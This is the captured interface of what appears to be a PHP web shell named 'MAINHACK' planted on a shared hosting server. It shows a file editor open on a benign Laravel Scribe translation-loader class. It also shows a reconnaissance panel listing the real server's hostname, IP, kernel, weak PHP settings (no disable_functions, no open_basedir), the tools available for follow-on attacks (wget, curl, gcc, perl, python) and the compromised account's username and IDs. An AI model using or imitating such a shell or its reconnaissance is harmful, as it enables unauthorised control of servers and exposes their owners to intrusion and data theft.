[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: CustomTranslationsLoader.php
<?php namespace Knuckles\Scribe\Writing; use Illuminate\Translation\FileLoader; use Knuckles\Scribe\Tools\Globals; use Illuminate\Contracts\Translation\Loader as LoaderContract; class CustomTranslationsLoader extends FileLoader { protected LoaderContract $defaultLoader; protected mixed $langPath; protected ?array $scribeTranslationsCache = null; protected ?array $userTranslationsCache = null; public function __construct(LoaderContract $loader) { $this->defaultLoader = $loader; $this->files = app('files'); $this->langPath = app('path.lang'); } public function load($locale, $group, $namespace = null) { // Laravel expects translation strings to be broken up into groups (files): // `lang/scribe/en/auth.php`, `lang/scribe/en/links.php` // We want to trick it into accepting a simple `lang/scribe.php`. if ($namespace == 'scribe') { if (isset($this->scribeTranslationsCache)) { $lines = $this->scribeTranslationsCache[$group] ?? []; } elseif ($this->files->exists($full = "{$this->hints[$namespace]}/scribe.php")) { $this->scribeTranslationsCache = $this->files->getRequire($full); $lines = $this->scribeTranslationsCache[$group] ?? []; } else { return []; } return $this->loadScribeNamespaceOverrides($lines, $locale, $group, $namespace); } return $this->defaultLoader->load($locale, $group, $namespace); } protected function loadScribeNamespaceOverrides(array $lines, $locale, $group, $namespace) { $userTranslationsFile = "{$this->langPath}/scribe.php"; if ($this->files->exists($userTranslationsFile)) { if (!isset($this->userTranslationsCache)) { $this->userTranslationsCache = $this->files->getRequire($userTranslationsFile); } $userTranslations = $this->userTranslationsCache[$group] ?? []; return array_replace_recursive($lines, $userTranslations); } return $lines; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285